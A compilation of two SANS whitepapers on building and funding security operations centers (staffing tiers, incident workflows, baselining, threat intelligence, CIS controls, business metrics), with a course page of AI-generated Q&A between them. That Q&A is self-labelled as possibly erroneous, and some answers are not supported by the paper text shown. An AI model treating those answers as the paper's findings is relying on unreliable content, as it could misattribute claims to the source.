provides overall direction for the SOC and input to the overall security strategy.Project management, incident response management training, general people management skills. Certifications include CISSP , CISA, CISM or CGEIT. SANS ANALYST PROGRAM Building a World-Class Security Operations Center: A Roadmap5 In addition to SOC analysts, a security operations center requires a ringmaster for its many moving parts. The SOC manager often fights fires, within and outside of the SOC. The SOC manager is responsible for prioritizing work and organizing resources with the ultimate goal of detecting, investigating and mitigating incidents that could impact the business. A typical SOC organization is illustrated in Figure 2. The SOC manager should develop a workflow model and implement standardized operating procedures (SOPs) for the incident-handling process that guides analysts through triage and response procedures. Processes Defining repeatable incident triage and investigation processes standardizes the actions a SOC analyst takes and ensures no important tasks fall through the cracks. By creating repeatable incident management workflow, team members’ responsibilities and actions from the creation of an alert and initial Tier 1 evaluation to escalation to Tier 2 or Tier 3 personnel are defined. Based on the workflow, resources can be effectively allocated. One of the most frequently used incident response process models is the DOE/CIAC model, which consists of six stages: preparation, identification, containment, eradication, recovery and lessons learned. In addition, NIST SP800-61 Revision 2, “Computer Security Incident Handling Guide”3 provides excellent guidance in developing IR procedures.Building a Security Operations Center (CONTINUED) Figure 2. Organization of the SOC3RD LEVEL2ND LEVEL1ST LEVEL SOC ManagerSME/ Hunter (Threat Intel) SME/ Hunter (Endpoint )SME/ Hunter (Malware RE )SME/ Hunter (Network) Tier 2 Incident Responde rTier 2 Incident Responde r Tier 1 Alert AnalystTier 1 Alert Analyst Frontline sTier 1 Alert AnalystFrontline sTier 1 Alert AnalystSecurity Operations Center: Organization Chart 3 http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP .800-61r2.pdf SANS ANALYST PROGRAM Building a World-Class Security Operations Center: A Roadmap6 Technology An enterprisewide data collection, aggregation, detection, analytic and management solution is the core technology of a successful SOC. An effective security monitoring system incorporates data gathered from the continuous monitoring of endpoints (PCs, laptops, mobile devices and servers) as well as networks and log and event sources. With the benefit of network, log and endpoint data gathered prior to and during the incident, SOC analysts can immediately pivot from using the security monitoring system as a detective tool to using it as an investigative tool, reviewing suspicious activities that make up the present incident, and even as a tool to manage the response to an incident or breach. Compatibility of technologies is imperative, and data silos are bad—particularly if an organization has an existing security monitoring solution (SIEM, endpoint, network or other) and wants to incorporate that tool’s reporting into the incident management solution (see Figure 3). Adding Context to Security Incidents The incorporation of threat intelligence, asset, identity and other context information is another way that an effective enterprise security monitoring solution can aid the SOC analyst’s investigative process. Often, an alert is associated with network or host-based activity and, initially, may contain only the suspicious endpoint’s IP address. In order for Network Flows Network TrafficSecurity Events Identity/ Asset ContextEndpoint Data System LogsThreat Intel Feeds SECURITY MONIT ORING SYSTEM Figure 3. Compatible Technologies Aid DetectionData Aggregation for Improved Incident Handling Visibility. By centralizing these various sources of data into a security monitoring system, the SOC gains actionable insight into possible anomalies indicative of threat activity. Action. Based on findings, automated and manual interventions can be made to include patching, firewall modification, system quarantine or reimage, and credential revocation.Analysis. Security operations analysts can analyze data from various sources and further interrogate and triage devices of interest to scope an incident. Building a Security Operations Center (CONTINUED) SANS ANALYST PROGRAM Building a World-Class Security Operations Center: A Roadmap7 the SOC analyst to investigate the system in question, the analyst generally needs other information, such as the owner and hostname of the machine or DHCP-sourced records for mapping IP and host information at the time of the alert. If the security monitoring system incorporates asset and identity information, it provides a huge advantage in time and analyst effort, not to mention key factors the analyst can use to prioritize the security incident—generally speaking, higher-value business assets should be prioritized over lower-value assets. Defining Normal Through Baselining The ability to create a baseline of activity for users, applications, infrastructure, network and other systems, establishing what normal looks like, is one advantage of aggregated data collected from various enterprise sources. Armed with the definition of “normal, ” detecting suspicious behavior—activities that are in some way outside of the norm— becomes easier. A properly baselined and configured security monitoring system sends out actionable alerts that can be trusted and often automatically prioritized before getting to the Tier 1 analyst.4 However, according to the SANS 2014 Log Management Survey, one of the top challenges in utilizing log data cited by respondents is the inability to discern normal from suspicious activity.5 The lack of such a baseline is a common obstacle organizations face in implementing an enterprise security monitoring system. A best practice is to use platforms that can build baselines by monitoring network and endpoint activity for a period of time to help determine was “normal” looks like and then provide the capability to set event thresholds as key alert drivers. When an unexpected behavior or deviation of normal activity is detected, the platform creates an alert, indicating further investigation is warranted. Threat Intelligence Mature SOCs continually develop the capability to consume and leverage threat intelligence from their past incidents and from information-sharing sources, such as a specialized threat intelligence vendor, industry partners, the cybercrimes division of law enforcement, information-sharing organizations (such as ISACs), or their security monitoring technology vendors. According to the 2015 SANS Cyberthreat Intelligence (CTI) Survey, 69% of respondents reported that their organization implemented some cyberthreat intelligence capability, with 27% indicating that their teams fully embrace the concept of CTI and integrated response procedures across systems and staff.7 A security monitoring system’s capability to operationalize threat intelligence and use it to help spot patterns in endpoint, log and network data, as well as associate anomalies Building a Security Operations Center (CONTINUED) 4 www.sans.org/reading-room/whitepapers/analyst/benchmarking-security-information-event-management-siem-34755 5 www.sans.org/reading-room/whitepapers/analyst/ninth-log-management-survey-report-35497 6 www.sans.org/reading-room/whitepapers/incident/incident-response-fight-35342 7 www.sans.org/webcasts/cyberthreat-intelligence-how-1-definitions-tools-standards-99052Percentage of respondents to the 2014 SANS Incident Response Survey6 who cited “Little visibility into endpoints/ system configurations and vulnerabilities” as an obstacle for incident response efficiency 52% SANS ANALYST PROGRAM Building a World-Class Security Operations Center: A Roadmap8 with past alerts, incidents or attacks, can enhance an organization’s capability to detect a compromised system or user prior to it exhibiting the characteristics of a breach. In fact, 55% of the respondents of the CTI Survey are currently using a centralized security management system to aggregate, analyze and operationalize their CTI. Obstacles to Efficient SOC Incident Handling To achieve efficient incident handling, the SOC must avoid bottlenecks in the IR process that moves incidents through Tier 1, into Tier 2, and finally through Tier 3. Bottlenecks can occur due to too much “white noise, ” alerts of little consequence or false-positives that lead to analyst “alert fatigue. ” This phenomenon is a common experience among responders, as seen in the 2014 SANS Incident Response Survey results, where 15% reported responding to more than 20 false-positive alarms originally classified as incidents.8 When choosing an enterprise security monitoring tool, look for such features as alert threshold customization and the ability to combine many alerts into a single incident. Also when incidents include additional context, analysts can triage them more quickly, reducing the layers of evaluation that must take place before an issue can be confirmed and quickly mitigated. Building a Security Operations Center (CONTINUED) 8 www.sans.org/reading-room/whitepapers/incident/incident-response-fight-35342 9 www.sans.org/reading-room/whitepapers/incident/incident-response-fight-35342Percentage of respondents to the 2014 SANS Incident Response Survey9 who identified false alarms as one of the types of incidents they are responding to 66% SANS ANALYST PROGRAM Building a World-Class Security Operations Center: A Roadmap9 Summary As you tackle the challenge of building a security operations center (SOC), your ability to anticipate common obstacles will facilitate smooth startup, build-out and maturation over time. Though each organization is unique in its current security posture, risk tolerance, expertise and budget, all share the goals of attempting to minimize and harden their attack surface and swiftly detecting, prioritizing and investigating security incidents when they occur. Working within the constraints of your organization, while pushing the boundaries and striving to achieve its critical security mission, your SOC can be a critical and successful venture—and a key contributor to your organization’s continuously improving security posture. For a more graphic view of building a SOC, be sure to check out the related infographic . SANS ANALYST PROGRAM Building a World-Class Security Operations Center: A Roadmap10 About the Author Sponsor SANS would like to thank this paper’s sponsor:Alissa Torres is a certified SANS instructor specializing in advanced computer forensics and incident response. Her industry experience includes serving in the trenches as an incident handler and working on an internal security team as a digital forensic investigator. She has extensive experience in information security, spanning government, academic and corporate environments, and she holds a bachelor’s degree from University of Virginia and a master’s from University of Maryland in information technology. Alissa has served as an instructor at the Defense Cyber Investigations Training Academy (DCITA), delivering incident response and network basics to security professionals entering the forensics community. In addition to being a GIAC Certified Forensic Analyst (GCFA), she holds the GCFE, GPEN, CISSP , EnCE, CFCE, MCT and CTT+. Last Updated: May 12th, 2017 Upcoming SANS Training Click Here for a full list of all Upcoming SANS Events by Location SANS Northern Virginia - Reston 2017 Reston, V AUS May 21, 2017 - May 26, 2017 Live Event SANS London May 2017 London, GB May 22, 2017 - May 27, 2017 Live Event SEC545: Cloud Security Architecture and Ops Atlanta, GAUS May 22, 2017 - May 26, 2017 Live Event SANS Melbourne 2017 Melbourne, AU May 22, 2017 - May 27, 2017 Live Event SANS Madrid 2017 Madrid, ES May 29, 2017 - Jun 03, 2017 Live Event SANS Stockholm 2017 Stockholm, SE May 29, 2017 - Jun 03, 2017 Live Event SANS Atlanta 2017 Atlanta, GAUS May 30, 2017 - Jun 04, 2017 Live Event SANS Houston 2017 Houston, TXUS Jun 05, 2017 - Jun 10, 2017 Live Event Security Operations Center Summit & Training Washington, DCUS Jun 05, 2017 - Jun 12, 2017 Live Event SANS San Francisco Summer 2017 San Francisco, CAUS Jun 05, 2017 - Jun 10, 2017 Live Event SANS Thailand 2017 Bangkok, TH Jun 12, 2017 - Jun 30, 2017 Live Event SANS Milan 2017 Milan, IT Jun 12, 2017 - Jun 17, 2017 Live Event SEC555: SIEM-Tactical Analytics San Diego, CAUS Jun 12, 2017 - Jun 17, 2017 Live Event SANS Charlotte 2017 Charlotte, NCUS Jun 12, 2017 - Jun 17, 2017 Live Event SANS Secure Europe 2017 Amsterdam, NL Jun 12, 2017 - Jun 20, 2017 Live Event SANS Rocky Mountain 2017 Denver, COUS Jun 12, 2017 - Jun 17, 2017 Live Event SANS Minneapolis 2017 Minneapolis, MNUS Jun 19, 2017 - Jun 24, 2017 Live Event SANS Philippines 2017 Manila, PH Jun 19, 2017 - Jun 24, 2017 Live Event DFIR Summit & Training 2017 Austin, TXUS Jun 22, 2017 - Jun 29, 2017 Live Event SANS Columbia, MD 2017 Columbia, MDUS Jun 26, 2017 - Jul 01, 2017 Live Event SANS Paris 2017 Paris, FR Jun 26, 2017 - Jul 01, 2017 Live Event SANS Cyber Defence Canberra 2017 Canberra, AU Jun 26, 2017 - Jul 08, 2017 Live Event SEC564:Red Team Ops San Diego, CAUS Jun 29, 2017 - Jun 30, 2017 Live Event SANS London July 2017 London, GB Jul 03, 2017 - Jul 08, 2017 Live Event Cyber Defence Japan 2017 Tokyo, JP Jul 05, 2017 - Jul 15, 2017 Live Event SANS Munich Summer 2017 Munich, DE Jul 10, 2017 - Jul 15, 2017 Live Event SANS ICS & Energy-Houston 2017 Houston, TXUS Jul 10, 2017 - Jul 15, 2017 Live Event SANS Los Angeles - Long Beach 2017 Long Beach, CAUS Jul 10, 2017 - Jul 15, 2017 Live Event SANS Cyber Defence Singapore 2017 Singapore, SG Jul 10, 2017 - Jul 15, 2017 Live Event SANSFIRE 2017 Washington, DCUS Jul 22, 2017 - Jul 29, 2017 Live Event Security Awareness Summit & Training 2017 Nashville, TNUS Jul 31, 2017 - Aug 09, 2017 Live Event SANS San Antonio 2017 San Antonio, TXUS Aug 06, 2017 - Aug 11, 2017 Live Event SANS Zurich 2017 OnlineCH May 15, 2017 - May 20, 2017 Live Event SANS OnDemand Books & MP3s OnlyUS Anytime Self Paced --- ## Source: https://montance.com/questions.php?id=70 [![pdf](content/images/icons/pdf.svg) SANS - building world class security operations center roadmap.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgZndjdk1ma0RqNmM/view?usp=sharing) Sans Building World Class Security Operations Center Roadmap Resource covering SOC titled 'Sans Building World Class Security Operations Center Roadmap'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: According to the roadmap, what is the very first step in building a SOC? A: Defining the SOC's Charter and Scope, including its authority and constituency. * Q: What is the 'Triad' model referenced for SOC maturity? A: People, Process, and Technology, with an emphasis that Technology should support the other two, not drive them. * Q: What specific 'Staffing Model' issue is highlighted as a common failure? A: Underestimating the headcount required for 24/7 coverage, leading to analyst burnout. * Q: How does the roadmap suggest handling 'Tier 1' analysis? A: By focusing on triage and validation to filter out false positives before escalating to deeper investigation. * Q: What is the recommended 'Technology Stack' hierarchy? A: Log Collection -> SIEM/Analytics -> Incident Response Platform -> Threat Intelligence Platform. * Q: What is the role of 'Playbooks' in the maturity roadmap? A: They are essential for ensuring consistent, repeatable responses to common alerts and for enabling future automation. * Q: How should a SOC measure 'Success' in the early stages? A: By focusing on 'Visibility' (coverage of assets) and 'Process Adherence' rather than just 'Mean Time to Detect'. * Q: What is the 'Continuous Improvement' loop? A: A post-incident review process that feeds lessons learned back into the detection logic and response procedures. * Q: What capability distinguishes a 'World Class' SOC from an average one? A: The ability to perform 'Threat Hunting' and 'Proactive Intelligence' rather than just reacting to alerts. * Q: What is the advice regarding 'Outsourcing' in the roadmap? A: Outsource commodity tasks (like 24/7 eyes-on-glass) but keep strategic capabilities (like incident response and threat intel) in-house. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgZFhXSkRiRDhPb2M/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgZFhXSkRiRDhPb2M/view?usp=sharing]** Interested in learning more about security? SANS Institute InfoSec Reading Room This paper is from the SANS Institute Reading Room site. Reposting is not permitted without express written permission. Getting C-Level Support to Ensure a High-Impact SOC Rollout To security professionals, the need for an effective SOC is obvious. But to organizational management, security is just one of many groups asking for financial and personnel resources. Security leaders who simply promise management that a SOC will provide better security or help the company avoid attacks won t get very far. The security team must define and communicate the business benefits of investing in, establishing and optimizing a SOC over the long term. Copyright SANS Institute Author Retains Full Rights A SANS Survey Written by John Pescatore September 2016 Sponsored by LeidosGetting C-Level Support to Ensure a High-Impact SOC Rollout ©2016 SANS™ Institute Though no single definition of “security operations center” (SOC) works for every enterprise, the SANS Institute has found that the following is a good high-level working definition: A security operations center is an integrated combination of processes, people and technology focused on reducing business damage due to cybersecurity attacks and incidents. Figure 1 highlights each of these components. Figure 1. Building Blocks of a SOC1 Key to that definition is the term “integrated combination. ” A security organization that does many or even most of the activities associated with cybersecurity does not necessarily have a functioning SOC any more than a bunch of servers scattered across the organization can be called a data center. SANS ANALYST PROGRAM Getting C-Level Support to Ensure a High-Impact SOC Rollout 1Introduction 1 “Building a World-Class Security Operations Center: A Roadmap, ” May 2015, www.sans.org/reading-room/whitepapers/analyst/building-world-class-security-operations-center-roadmap-35907 People Formal Training Internal TrainingOn-the-Job Experience Vendor-Specific Training Process Technology Preparation Endpoint IdentificationNetflow Containment Eradication Threat IntelRecoveryForensicsLessons LearnedIncident Detection/ Management Network MonitoringSOCTriad of Security Operations: People, Process and Technology Introduction (CONTINUED) SANS ANALYST PROGRAM Getting C-Level Support to Ensure a High-Impact SOC Rollout 2But what are the benefits of an integrated SOC? First, an organization can more effectively counter real-world threats when information flows between the various functions. Second, the organization can make more efficient use of its resources because a SOC reduces gaps, overlaps and duplication of functions.2 Along with the usual management, governance and reporting functions, the most effective SOCs span the three major areas of cyber security operations: • Prevention—Vulnerability management, user access management, threat intelligence, active security network and endpoint enforcement • Detection—Continuous network and endpoint monitoring, hunting, anomaly detection • Response—Incident response, forensics, restoration A well-managed, mature and integrated SOC that spans all three areas will invariably provide the most effective and efficient approach to reducing the business impact of real-world threats. But often, organizational or budget realities drive security organizations into siloed or fractured implementations of SOCs. This paper will provide security managers with tools and approaches to obtain and defend the resources needed to reach the goal of an integrated and effective SOC. 2 “Knitting SOCs, ” May 2015, www.sans.org/reading-room/whitepapers/incident/knitting-socs-35975 Selling the Idea of a SOC SANS ANALYST PROGRAM Getting C-Level Support to Ensure a High-Impact SOC Rollout 3To security professionals, the need for an effective SOC is obvious. But to organizational management, security is just one of many groups asking for financial and personnel resources. Security leaders who simply promise management that a SOC will provide better security or help the company avoid attacks won’t get very far. The security team must define and communicate the business benefits of investing in, establishing and optimizing a SOC over the long term. Security managers should first understand what business leaders look for when they evaluate projects or other requests for resources. Typically, senior leadership and boards of directors will look for measurable benefits over time that are tied to strategic organizational objectives. These may include: • Return on investment. This refers to an increase in revenue or a decrease in costs over time that “pays back” the initial investment and produces positive financial benefit. • Improvement in business metrics. These are connected to defined organizational objectives other than those directly related to financials. Examples include agility/ time to market, reputation, quality and uptime for critical processes. Security managers can usually find examples of business metrics by looking at what information business units present to the CEO and what the CEO presents to the board of directors. Another source is often the office of the CIO—CIOs have long been advised to align with business metrics. • Legal or regulatory compliance. Rarely, if ever, does compliance equate to security, but typically, the board members most likely to focus on cybersecurity are on the audit and compliance committees. Some combination of these benefits has been used by business and IT managers in your organization to obtain investment or other resources for other parts of the business. Try to determine what has worked, and if examples are hard to find, build the case for a SOC with a focus on improving business metrics. This approach usually provides the best balance of addressing financial and legal requirements while maintaining the focus on how a SOC will better protect the business and its customers. As the SOC development or enhancement plan progresses, it is important to focus on the business metrics for each phase: What measurable increases in security will each milestone bring, and how does that connect to business or mission metrics?Security leaders who simply promise management that a SOC will provide better security or help the company avoid attacks won’t get very far. Selling the Idea of a SOC (CONTINUED) SANS ANALYST PROGRAM Getting C-Level Support to Ensure a High-Impact SOC Rollout 4Common SOC Patterns To succeed, any effort to develop or enhance a SOC needs to start with a realistic assessment of the current state of the organization’s security operations and define an end-state SOC goal. One approach is to base this on a maturity model3 approach, where higher levels of security maturity are tied to business benefits. This is most effective if the organization is already using the maturity model approach4 for IT operations or the overall cyber security program. If the organization does not already use a maturity model, another approach is to look at common patterns of SOC effectiveness to define where the organization is now and how it could further progress toward a true SOC (see Figure 2). These SOC patterns, ordered from least to most mature, are common across industry and government. However, operational decisions (in areas such as organization governance, risk tolerance, staffing constraints and outsourcing philosophies) may make some patterns unrealistic as goals for some organizations. 3 Cybersecurity Capability Maturity Model, Version 1.1, U.S. Department of Energy, February 2014, http://energy.gov/sites/prod/files/2014/03/f13/C2M2-v1-1_cor.pdf 4 “Improving Detection, Prevention and Response with Security Maturity Modeling, ” May 2015, www.sans.org/reading-room/whitepapers/analyst/improving-detection-prevention-response-security-maturity-modeling-35985 5 Gartner Magic Quotient (subscription required), www.gartner.com/document/3180719 PATTERN 1PATTERN 2PATTERN 3PATTERN 4PATTERN 5PATTERN 6 Greenfield (starting from scratch) Many smaller enterprises have no coherent SOC processes in place (even though their policy documents say such processes should be in place). Assigning a person to look into alerts from desktop antivirus or network intrusion-detection systems (IDSs) does not constitute a SOC. Any organization that fits here has nowhere to go but up toward SOC capability.IT Ops (the NOC is the SOC) For many organizations, the processes that would naturally fall to a SOC are already performed by IT or the network operations center (NOC). And for some, financial and organizational pressures may dictate this as the end state. But real-world experience has shown that security is better served when the uptime and cost-reduction goals of operations are separate from the incident avoidance, detection and response pressures of security operations.“Isn’t our MSSP our SOC?” Moving effectively beyond the “our SIEM is our SOC” mindset requires a significant investment in technology, processes and, more critically, skilled security people. When faced with the need to increase operations staffing headcount and skill levels, many organizations outsource. That can be effective. Some managed security service providers (MSSPs) offer fully managed SOC services. 5 But simply outsourcing firewall and IDS monitoring does not add up to a full SOC process.The “pretty good” SOC Threats never stand still, and SOCs can’t either. A SOC may be efficient at dealing with known threats but perform poorly in the face of emerging threats. On the other hand, a SOC that is quick to respond and evolve to deal with new threats or business demands may need to increase efficiency in dealing with old threats, since increased efficiency is a goal of all businesses.The adaptive, effective, efficient SOC A well-managed and integrated SOC that cohesively integrates across prevention, detection and response with continuous monitoring and improvement is the most effective and efficient approach to reducing the business impact of real-world threats. “We have a SIEM. Isn’t that a SOC?” Many organizations that have procured and deployed a security information and event management (SIEM) product see it as the first step toward separating the monitoring and reporting done by IT and network operations from security operations and may view this setup as a SOC. However, most SIEM systems are used for compliance reporting and are rarely integrated to effectively support the increased prevention, faster detection and more surgical restoration goals of a SOC investment. Figure 2. Six Common Patterns of SOC Effectiveness The two Security Operations Summits6 SANS has held over the past two years, along with various surveys it has conducted7 touching on SOCs and related areas, have shown that SOC communities of interest can be broadly characterized as the haves and have nots. The have nots see the need for a SOC but are struggling to get started. The haves are interested in increasing the effectiveness and efficiency of their SOCs. The trends that mark those organizations just starting to establish a SOC are concentrated in areas such as personnel, skills, tools that can be used as force multipliers for staffing shortages, and managed services. The trends that are apparent among organizations optimizing existing SOCs include the following: Gathering more data. Many security organizations recognize that by integrating more meaningful threat intelligence data and more timely and accurate asset vulnerability information, SOCs can reduce the time to detect incidents and respond to them, thereby reducing the incidents’ business impact. However, the key words are integrate, meaningful, timely and accurate. Simply adding data sources does not increase effectiveness, let alone efficiency; careful selection of intelligence sources and skills in data science are needed. Using more interconnected tools. Even when expanding the data stream is done right, more data will often just overwhelm staff, whose numbers don’t scale in the same way. While it is important to bear in mind that automation has been overpromised, many organizations in this position are looking at tools that can act as force multipliers for analyst staff. A related trend is using industry standards to support data flow and integration. 8 SANS ANALYST PROGRAM Getting C-Level Support to Ensure a High-Impact SOC Rollout 5Trends in Starting and Improving SOCs SOC communities of interest can be broadly characterized as the haves and have nots. The have nots see the need for a SOC but are struggling to get started. The haves are interested in increasing the effectiveness and efficiency of their SOCs. 6 SANS SOC Summit, May 2016, www.sans.org/event/security-operations-center-summit-2016, and SANS SOC Summit, May 2015, www.sans.org/event/security-operations-center-summit-2015 7 “Incident Response Capabilities in 2016: The 2016 SANS Incident Response Survey, ” June 2016, www.sans.org/reading-room/whitepapers/incident/incident-response-capabilities-2016-2016-incident-response-survey-37047 8 “Automating the Hunt for Hidden Threats, ” October 2015, www.sans.org/reading-room/whitepapers/incident/incident-response-capabilities-2016-2016-incident-response-survey-37047 Trends in Starting and Improving SOCs (CONTINUED) SANS ANALYST PROGRAM Getting C-Level Support to Ensure a High-Impact SOC Rollout 6Sharing through ISACs and ISAOs. The Financial Services Information Sharing and Analysis Center led the way in demonstrating how companies within the same vertical industry could share threat information and SOC-related data to the benefit of all participants. The National Health ISAC, the Retail ISAC and other ISACs have followed, along with information sharing and analysis organizations such as HITRUST. The members of these organizations have agreed upon common sets of tools and information exchange standards that enable near-real-time threat information sharing. The ISACs and ISAOs also have regular online and in-person conferences and meetings that facilitate sharing of best practices around security operations and other areas. “Plussing up” SOC analyst skills. Changing threats always require SOC analysts to stay up to date, but the current business demand to use technologies such as cloud and mobile is affecting the SOC challenge in many ways. Skill areas such as architecture, penetration testing, forensic analysis and incident response need to be extended to address how a SOC works across these heterogeneous and changing environments. Besides enabling timely and accurate detection of attacks, the above trends help SOCs support business demands such as rapid adoption of new technologies and integration with the networks of business partners and customers. Prioritizing Efforts and Resources for SOC Buildout and Evolution The starting point for improving a SOC’s capabilities is a realistic assessment of its current status and a vision for how the SOC will operate within the constraints of the organization and its industry. It will be necessary to determine which of the patterns described earlier 9 applies to the SOC in its current state, which can be done by doing an inventory of processes, people and technology. An internal team or a third party can do this initial gap assessment, but using an external consultancy or auditor can be helpful in getting management support for enhancing SOC operations. Either way, the goal is to get a realistic estimate of the organization’s starting point and a definition and prioritization of the key areas that need improvement to reach the pattern or maturity level that is the end-state goal. 9 “Building a World-Class Security Operations Center: A Roadmap, ” May 2015, www.sans.org/reading-room/whitepapers/analyst/building-world-class-security-operations-center-roadmap-35907 Trends in Starting and Improving SOCs (CONTINUED) SANS ANALYST PROGRAM Getting C-Level Support to Ensure a High-Impact SOC Rollout 7A meaningful prioritization will require some form of risk assessment—for example, what improvements to which areas of security operations would provide the most risk reduction? Risk-assessment exercises can consume a lot of time and resources, but because SOCs are mostly threat-facing, the Center for Internet Security’s Critical Security Controls10 can be very helpful (see Figure 3). Figure 3. The Center for Internet Security’s 20 Critical Security Controls11 CSC 1 Inventory of Authorized and Unauthorized Devices CSC 2 Inventory of Authorized and Unauthorized Software CSC 3 Secure Configurations for Hardware and Software on Mobile Devices, Laptops, Workstations, and Servers CSC 4 Continuous Vulnerability Assessment and Remediation CSC 5 Controlled Use of Administrative Privileges CSC 6 Maintenance, Monitoring, and Analysis of Audit Logs CSC 7 Email and Web Browser Protections CSC 8 Malware Defenses CSC 9 Limitation and Control of Network Ports, Protocols, and Services CSC 10 Data Recovery Capability CSC 11 Secure Configurations for Network Devices such as Firewalls, Routers, and Switches CSC 12 Boundary Defense CSC 13 Data Protection CSC 14 Controlled Access Based on the Need to Know CSC 15 Wireless Access Control CSC 16 Account Monitoring and Control CSC 17 Security Skills Assessment and Appropriate Training to Fill Gaps CSC 18 Application Software Security CSC 19 Incident Response and Management CSC 20 Penetration Tests and Red Team Exercises 10 CIS Critical Security Controls, www.cisecurity.org/critical-controls.cfm [Registration required.] 11 CIS Critical Security Controls Trends in Starting and Improving SOCs (CONTINUED) SANS ANALYST PROGRAM Getting C-Level Support to Ensure a High-Impact SOC Rollout 8The CIS Critical Security Controls represent an industry-driven effort to define and prioritize the security controls that give the most bang for the buck in reducing business impact from real-world threats—which is also the overall goal of any SOC. The Critical Security Controls map directly to SOC processes and provide an easy and defendable starting point for evaluating an organization’s people, processes and technology. CIS has published a white paper describing how to use the Critical Security Controls as the foundation for a risk management framework.12 Figure 4 shows the results of a SOC’s assessment against the 20 Critical Security Controls at four points in time: its initial status (Start), its current status (Current), the next milestone (CY17) and the end-state goal (Goal). The visual representation of the assessment can be used both as a planning aid and for reporting progress to management. Figure 4. Using the CIS Critical Controls in Gap Analysis 13 12 “The Critical Security Controls: The Foundation for an Enterprise Risk Management Framework, ” Center for Internet Security, Feb. 17, 2014, www.cisecurity.org/critical-controls/documents/CISControlsRMF .pdf 13 SANS CISO Hot Topic Session, Washington, D.C., 2016 Trends in Starting and Improving SOCs (CONTINUED) SANS ANALYST PROGRAM Getting C-Level Support to Ensure a High-Impact SOC Rollout 9For each increment, the SOC plan should detail five key areas: • Process improvement. Which SOC processes (and related IT or business operations processes) need to be enhanced to reach the next level? • Staffing/skills. Identify staffing and skills shortfalls, with target dates for hiring and training. • Architecture/technology. The overall architecture of the SOC should be defined at the start, but changes may be required to reach the higher levels or respond to new IT, business or organizational demands. The products and technology (both new and upgrades) anticipated for each level of enhancement should be defined within that architecture. • Business-relevant metrics. We know that security increases as the SOC is improved, but to justify continuing investment, measurable improvements must be tied to business goals. As shown in Figure 5, the goal is to express improvements in detection and response provided by the SOC as benefits to the business. • Resource requirements. Establishing and enhancing a SOC will require committing personnel and facility resources, making new expenditures for services, products, training and the improvement or expansion of facilities. Critical resources will also include personnel from outside the security group. Improvements to Time to Detect and Time to Respond Can Be Translated to: Efficiency • Decreases the cost of dealing with known threats • Decreases the realized effect of residual risks • Decreases the cost of demonstrating compliance • Increases incident count with constant staff resources • Maintains level of protection with less EBITDA impactEffectiveness • Increases the speed of dealing with a new threat or technology • Decreases the time required to secure a new business application, partner or supplier • Reduces incident cost - Less downtime - Fewer customer defections • Establishes security as a competitive business factor Figure 5. The Benefits of Improvements in Detection and Response If you have pulled together all the elements detailed above, you have a realistic, defendable business plan to explain and justify the need for and benefit of investing in a SOC. The final step is to present the plan and obtain management approval. SANS has been meeting with CISOs and members of boards of directors and holding a series of CISO Hot Topic Sessions called “How to Communicate Effectively with CEOs and Boards of Directors. ” The feedback from CEOs and directors on how security managers could improve their approach to communicating with upper management included some common themes: “Security people are good at describing ‘blood in the street’ but not very strong at detailing strategy to protect the business from those disasters. ” “Security managers rarely seem to speak the same language as other groups do when meeting with the CEO or the board. In fact, they never seem to speak the same language twice. ” “We always need to look at what the rest of our industry is doing. Security folks do not seem to have a handle on how our security practice compares to our peers and competitors. ” All of these comments address the need to make sure that the plan and briefing are based on business-relevant metrics that demonstrate the benefits of establishing or enhancing a SOC. Based on this, an effective outline for the briefing could follow this template: • Why a SOC? Provide a brief overview of the current state of security operations, a definition of SOC and an explanation of how it would work in the company. - Benefits. Tie reductions in time to detect and time to respond to relevant business metrics. - Current and end state. Provide a brief description of the current state of security operations and the desired SOC end state. Use the results of any internal audits or third-party assessments here. Include a comparison to others in the same industry; ISACs, industry security conferences and InfraGard meetings are good sources for such comparisons. - Resource requirements. Propose a time-phased plan, using the same methods IT or business teams use when they request resources. Where possible, include some near-term quick wins. - Risks. Explain what could derail your plan and your contingencies. • Next steps. Close with what you need from this meeting to proceed and what your next deliverable will be after that. SANS ANALYST PROGRAM Getting C-Level Support to Ensure a High-Impact SOC Rollout 10Getting Management Buy-in Threats change continually, and security processes, controls and skills need to evolve and improve at the same rate to increase (or even maintain) effectiveness. Business demands also put pressure on cybersecurity programs to both react rapidly to support the business use of new technologies and work within real-world budget constraints. Enterprise experience has shown that the key to the effectiveness and efficiency of cybersecurity programs is a mature and adaptive SOC process, team and technology. A SOC-centric approach to securing business operations also enables the CISO to provide the CIO, CEO and board of directors with a consistent set of business-relevant security metrics and a framework for justifying the need for corporate changes to reduce risk. Focusing on “SOC as a process” versus “SOC as a room full of security gear” is the foundation to increasing both effectiveness and efficiency in reducing risk from real- world threats—and being able to demonstrate those improvements to management. SANS ANALYST PROGRAM Getting C-Level Support to Ensure a High-Impact SOC Rollout 11Conclusion John Pescatore joined SANS as director of emerging technologies in January 2013 after more than 13 years as lead security analyst for Gartner, 11 years with GTE, and service with both the National Security Administration, where he designed secure voice systems, and the U.S. Secret Service, where he developed secure communications and voice systems “and the occasional ballistic armor installation. ” John has testified before Congress about cyber security, was named one of the 15 most influential people in security in 2008 and remains an NSA-certified cryptologic engineer. SANS ANALYST PROGRAM Getting C-Level Support to Ensure a High-Impact SOC Rollout 12About the Author Sponsor SANS would like to thank this survey’s sponsor: Last Updated: November 15th, 2016 Upcoming SANS Training Click Here for a full list of all Upcoming SANS Events by Location SANS Hyderabad 2016 Hyderabad, IN Nov 28, 2016 - Dec 10, 2016 Live Event MGT517 - Managing Security Ops Washington, DCUS Nov 28, 2016 - Dec 02, 2016 Live Event SEC560 @ SANS Seoul 2016 Seoul, KR Dec 05, 2016 - Dec 10, 2016 Live Event SANS Dublin 2016 Dublin, IE Dec 05, 2016 - Dec 10, 2016 Live Event SANS Cologne 2016 Cologne, DE Dec 05, 2016 - Dec 10, 2016 Live Event SANS Cyber Defense Initiative 2016 Washington, DCUS Dec 10, 2016 - Dec 17, 2016 Live Event SANS Frankfurt 2016 Frankfurt, DE Dec 12, 2016 - Dec 17, 2016 Live Event SANS Amsterdam 2016 Amsterdam, NL Dec 12, 2016 - Dec 17, 2016 Live Event SANS Security East 2017 New Orleans, LAUS Jan 09, 2017 - 